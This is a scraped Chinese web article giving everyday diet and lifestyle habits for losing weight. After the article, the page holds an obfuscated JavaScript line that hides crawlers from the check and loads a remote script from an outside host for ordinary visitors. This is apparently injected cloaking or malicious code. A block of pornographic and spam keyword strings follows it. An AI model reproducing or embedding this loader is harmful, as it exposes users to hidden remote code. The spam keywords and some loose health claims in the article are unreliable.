當前位置:首頁 > 減肥 > 減肥方法 > 正文

讓生活小習慣幫你減肥吧

2017-03-12 09:52:49  來源:360常識網   熱度:
導語:秋季一到很多美眉的食欲增加了,人也懶了,于是肥漂也都長出來了,那么怎么在這個秋季保持好的身材呢?有沒有哪些輕松減肥的方法呢?

有時候減肥并不需要刻意做哪些減肥運動,只需要注意生活中的一些小習慣,它就能讓你在不知不覺中輕松瘦下來,到底是哪些生活習慣這么神奇呢?

飲食篇

1、每天多吃幾頓小餐

如果你消耗的比吃的還多,你的體重可能要下降。“研究顯示每天吃4-5餐或小甜點的人能更好的控制他們的食欲和體重”羅斯福地區地方行政官、公共衛生學博士、肥胖癥研究者Rebecca女士如是說。她建議把每天需要的卡路里分成幾個小餐或甜點,在晚飯之前吃完,因為晚餐時你每天的最后一餐。

2、加點香料

在食物中加辛料或質寒的可激發香味,吃起來更爽些。“加有香料的食物可刺激味蕾,使不致食用過量”,美國飲食協會發言人Malena博士說。當你想吃甜的東西的時候,吃一些紅色高熱的流星狀糖果,它是甜的、香辣的和低熱量的糖。

3、用一盤蔬菜替換一杯面糊

簡單的少吃面團和面包,多吃蔬菜,一年后裙子和褲子就都不合身了,成功減肥。“如果在食物中去掉淀粉,增加相同量的蔬菜,可減少100-200卡路里,“美國飲食協會發言人Cynthia Sass 博士說。

4、 細嚼慢咽

美國牛津大學埃德蒙。羅爾斯教授指出,當人們咀嚼某些食物達5分鐘之久時,其食欲就會大大下降,這樣可減少食物攝入量,達到減肥的目的。人體胃部的神經要經一定時間才會把飽脹的信息傳到大腦,因此吃慢一點,就會更快地感到飽脹。不妨試一試:每吃一口,放一下筷子,細嚼慢咽,聚精會神地品味,好像在用美味佳肴。

5、飯前吃水果

每日用餐前1小時吃一些水果是一種簡便有效的減肥方法。因水果中含有豐富的糖類,它能在體內迅速轉化為葡萄糖而被機體吸收,補充身體因體力、腦力勞動而消耗的熱能。水果中的粗纖維能給胃一種“飽脹”感,緩解旺盛的食欲,而且粗纖維在體內無法被吸收,從而起到減肥的作用。

生活篇

1、保證晚上11點就上床睡覺

睡眠是否充足、合理,是影響女人身材的關鍵,甚至比飲食和運動更加重要。要知道,每天入睡過晚的夜貓子發胖的危險會比其他人高出35%。因為缺乏睡眠會增加身體對糖和淀粉的需求,同時還會刺激體內分泌更多的應激激素皮質醇,增加身體對脂肪的吸收。想要甩掉贅肉,保持好身材?那么你就要盡量做到夜晚23點前上床睡覺,并保證每天7小時的充足睡眠,這樣就可以防止身體囤積脂肪了。

2、多走路

出門的時候,把車停在遠一點的地方,增加一點步行的運動量。如果你出門時習慣帶著一只背包,那就更好了,運動量會更大。

3、周末也要運動

大多數人都能找到一大堆周末不運動的理由,不過如果你肯在周末花一點時間去運動,你會更快達到你的減肥目標。

轉載申明:360常識網,歡迎分享,轉載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
久久国产免费观看精品3| 亚洲高清国产拍精品青青草原| 久久国产香蕉一区精品| 2020天堂在线亚洲精品专区| 国产午夜亚洲精品国产成人小说| 精品国产乱码久久久久久1区2区 | 亚洲国产精品精华液| 中文字幕精品视频在线| 日本精品高清一区二区2021| 99久久人妻精品免费二区| 精品视频一区二区三区四区五区| 98色精品视频在线| 亚洲国产成人一区二区精品区| 国产91精品新入口| fulidown国产精品合集| 国产午夜精品一区二区三区嫩草| 国产精品老女人精品视| 久久亚洲精品无码aⅴ大香| 亚洲精品制服丝袜四区| 无码欧精品亚洲日韩一区夜夜嗨| 国产精品亚洲午夜一区二区三区| 久久精品无码专区免费| 国产精品无码久久久久久久久久| 精品久久无码中文字幕| 精品免费tv久久久久久久| 亚洲性日韩精品一区二区三区| 九九热线精品视频16| 亚洲国产精品xo在线观看| 国产精品女同久久久久电影院| 国产精品福利在线观看免费不卡| 亚洲国产精品无码久久九九大片| 亚洲AV第一页国产精品| 亚洲精品二区国产综合野狼| 国产精品免费久久久久电影网| 精品亚洲成a人在线观看| 四虎永久在线精品免费观看视频| 日韩精品久久久久久免费| 亚洲欧洲美洲无码精品VA| 久久精品国产一区二区| 亚洲一区二区三区国产精品| jazzjazz国产精品|